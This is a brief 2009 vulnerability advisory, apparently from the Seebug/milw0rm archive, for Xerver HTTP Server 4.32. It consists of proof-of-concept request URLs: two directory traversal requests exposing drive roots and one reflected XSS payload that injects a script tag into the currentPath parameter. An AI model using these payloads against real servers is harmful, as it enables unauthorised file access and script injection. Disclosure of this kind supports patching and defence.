Xerver HTTP Server v4.32 XSS / Directory Traversal Vulnerability

2009-09-18T00:00:00
ID SSV:18288
Type seebug
Reporter Root
Modified 2009-09-18T00:00:00

Description

No description provided by source.

                                        
                                            
                                                Xerver HTTP Server v4.32 XSS / Directory Traversal Vulnerability


By Stack


Directory Traversal Exploit :

http://127.0.0.1:32123/action=chooseDirectory&currentPath=d:%5C

http://127.0.0.1:32123/action=chooseDirectory&currentPath=c:\




XSS Exploit :


http://127.0.0.1:32123/action=chooseDirectory&currentPath='">><script>alert('XSS By Stack')</script>

# milw0rm.com [2009-09-18]